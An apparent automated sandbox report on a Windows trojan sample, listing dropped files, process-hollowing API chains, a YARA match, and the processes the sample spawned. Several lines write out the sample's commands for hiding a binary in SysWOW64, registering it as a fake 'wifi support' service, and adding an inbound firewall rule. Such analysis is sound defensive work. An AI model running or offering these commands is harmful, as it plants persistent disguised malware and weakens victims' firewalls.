Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006D14D0	28_2_006D14D0
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: 29_2_0040C913	29_2_0040C913
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: 29_2_00425090	29_2_00425090
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: 29_2_0042B500	29_2_0042B500
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: 29_2_0042A720	29_2_0042A720
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_029596F0	30_2_029596F0
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_02950B7A	30_2_02950B7A
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_02950470	30_2_02950470
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_02950462	30_2_02950462
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FA1810	30_2_04FA1810
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FA53F8	30_2_04FA53F8
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FA0448	30_2_04FA0448
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FA2E48	30_2_04FA2E48
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FBA430	30_2_04FBA430
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FB1528	30_2_04FB1528
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FB67B8	30_2_04FB67B8
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FB2C88	30_2_04FB2C88
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FBAD68	30_2_04FBAD68
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FB08B0	30_2_04FB08B0
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FB5B58	30_2_04FB5B58
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Code function: 30_2_04FB90D3	30_2_04FB90D3

Source: C:\Users\user\AppData\Local\Temp\3136.exe

Code function: 29_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

29_2_00401280

Source: OG9rNsihJ7.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: OG9rNsihJ7.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: OG9rNsihJ7.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: OG9rNsihJ7.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 45AA.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 45AA.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 45AA.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 54AF.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FC2A.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FC2A.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FC2A.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B1B2.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B1B2.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B1B2.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BFBD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BFBD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BFBD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BFBD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 254E.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 254E.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 254E.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 254E.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 3136.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 3136.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 3136.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 3136.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2F32.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vfgiwcs.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vfgiwcs.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vfgiwcs.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vfgiwcs.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: xqfkdfcl.exe.29.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: xqfkdfcl.exe.29.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: xqfkdfcl.exe.29.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: xqfkdfcl.exe.29.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Section loaded: mscorjit.dll

Source: OG9rNsihJ7.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\8017.exe, type: DROPPED

Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: String function: 004048D0 appears 460 times
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: String function: 00422BD0 appears 133 times
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: String function: 0041E350 appears 172 times
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: String function: 006C2794 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: String function: 00402544 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: String function: 0041E560 appears 32 times

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_005F0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	0_2_005F0110
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_00401962 Sleep,NtTerminateProcess,	1_2_00401962
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_0040196D Sleep,NtTerminateProcess,	1_2_0040196D
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_00402000
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_2_0040250A
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_00401A0B NtTerminateProcess,	1_2_00401A0B
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201A
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201E
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040202D
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_00402084 LocalAlloc,NtQuerySystemInformation,	1_2_00402084
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_00402491 NtOpenKey,	1_2_00402491
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_00402000
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_1_0040250A
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201A
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201E
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040202D
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_1_00402084 LocalAlloc,NtQuerySystemInformation,	1_1_00402084
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_1_00402491 NtOpenKey,	1_1_00402491
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 18_2_00640110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	18_2_00640110
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_00401962 Sleep,NtTerminateProcess,	19_2_00401962
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_0040196D Sleep,NtTerminateProcess,	19_2_0040196D
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	19_2_00402000
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	19_2_0040250A
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_00401A0B NtTerminateProcess,	19_2_00401A0B
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	19_2_0040201A
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	19_2_0040201E
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	19_2_0040202D
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_00402084 LocalAlloc,NtQuerySystemInformation,	19_2_00402084
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_00402491 NtOpenKey,	19_2_00402491
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_00401962 Sleep,NtTerminateProcess,	24_2_00401962
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_0040196D Sleep,NtTerminateProcess,	24_2_0040196D
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	24_2_00402000
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	24_2_0040250A
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_00401A0B NtTerminateProcess,	24_2_00401A0B
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	24_2_0040201A
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	24_2_0040201E
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	24_2_0040202D
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_00402084 LocalAlloc,NtQuerySystemInformation,	24_2_00402084
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_00402491 NtOpenKey,	24_2_00402491
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	24_1_00402000
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	24_1_0040250A
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	24_1_0040201A
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	24_1_0040201E
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	24_1_0040202D
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_1_00402084 LocalAlloc,NtQuerySystemInformation,	24_1_00402084
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_1_00402491 NtOpenKey,	24_1_00402491

Source: C:\Users\user\AppData\Local\Temp\3136.exe

Code function: 29_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

29_2_00408E26

Source: 45AA.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: FC2A.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: B1B2.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: 3A7E.exe.5.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: 7808.exe.5.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: 9789.exe.5.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: 3A7E.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 3A7E.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 3A7E.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: 3A7E.exe.5.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: 54AF.exe.5.dr	Static PE information: Section: .didata ZLIB complexity 0.999523355577
Source: 7808.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 7808.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 7808.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: 7808.exe.5.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: 9789.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 9789.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 9789.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: 9789.exe.5.dr	Static PE information: Section: ZLIB complexity 1.0107421875

Source: OG9rNsihJ7.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\3136.exe

Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\vfgiwcs

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@60/37@100/15

Source: C:\Users\user\AppData\Local\Temp\3136.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3136.exe

Code function: 29_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

29_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\3136.exe

29_2_00409A6B

Source: OG9rNsihJ7.exe

ReversingLabs: Detection: 48%

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\OG9rNsihJ7.exe "C:\Users\user\Desktop\OG9rNsihJ7.exe"
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Process created: C:\Users\user\Desktop\OG9rNsihJ7.exe "C:\Users\user\Desktop\OG9rNsihJ7.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\vfgiwcs C:\Users\user\AppData\Roaming\vfgiwcs
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Process created: C:\Users\user\AppData\Roaming\vfgiwcs C:\Users\user\AppData\Roaming\vfgiwcs
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B1B2.exe C:\Users\user\AppData\Local\Temp\B1B2.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\BFBD.exe C:\Users\user\AppData\Local\Temp\BFBD.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6924 -ip 6924
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Process created: C:\Users\user\AppData\Local\Temp\BFBD.exe C:\Users\user\AppData\Local\Temp\BFBD.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6924 -s 520
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\254E.exe C:\Users\user\AppData\Local\Temp\254E.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3136.exe C:\Users\user\AppData\Local\Temp\3136.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3BC6.exe C:\Users\user\AppData\Local\Temp\3BC6.exe
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ffiawxs\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe" C:\Windows\SysWOW64\ffiawxs\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create ffiawxs binPath= "C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d\"C:\Users\user\AppData\Local\Temp\3136.exe\"" type= own start= auto DisplayName= "wifi support
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description ffiawxs "wifi internet conection
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start ffiawxs
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Source: unknown	Process created: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d"C:\Users\user\AppData\Local\Temp\3136.exe"
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process created: C:\Users\user\AppData\Local\Temp\3BC6.exe C:\Users\user\AppData\Local\Temp\3BC6.exe
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Process created: C:\Users\user\Desktop\OG9rNsihJ7.exe "C:\Users\user\Desktop\OG9rNsihJ7.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B1B2.exe C:\Users\user\AppData\Local\Temp\B1B2.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\BFBD.exe C:\Users\user\AppData\Local\Temp\BFBD.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\254E.exe C:\Users\user\AppData\Local\Temp\254E.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3136.exe C:\Users\user\AppData\Local\Temp\3136.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3BC6.exe C:\Users\user\AppData\Local\Temp\3BC6.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Process created: C:\Users\user\AppData\Roaming\vfgiwcs C:\Users\user\AppData\Roaming\vfgiwcs	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6924 -ip 6924	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6924 -s 520	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Process created: C:\Users\user\AppData\Local\Temp\BFBD.exe C:\Users\user\AppData\Local\Temp\BFBD.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ffiawxs\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe" C:\Windows\SysWOW64\ffiawxs\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create ffiawxs binPath= "C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d\"C:\Users\user\AppData\Local\Temp\3136.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description ffiawxs "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start ffiawxs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process created: C:\Users\user\AppData\Local\Temp\3BC6.exe C:\Users\user\AppData\Local\Temp\3BC6.exe
Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\B1B2.tmp

Jump to behavior

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe

Code function: 0_2_00419C55 SetLastError,GetConsoleCursorInfo,GetProfileStringA,WriteProfileSectionW,GetProfileStringW,GetLastError,GetSystemWow64DirectoryW,GetWindowsDirectoryW,GetCPInfoExA,GetDiskFreeSpaceExA,GetStartupInfoW,ReadConsoleOutputCharacterW,GlobalUnWire,GetProcessHeap,GetProcessHeap,WritePrivateProfileStringW,SetPriorityClass,

0_2_00419C55

Source: C:\Users\user\AppData\Local\Temp\3BC6.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6896:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2272:120:WilError_01
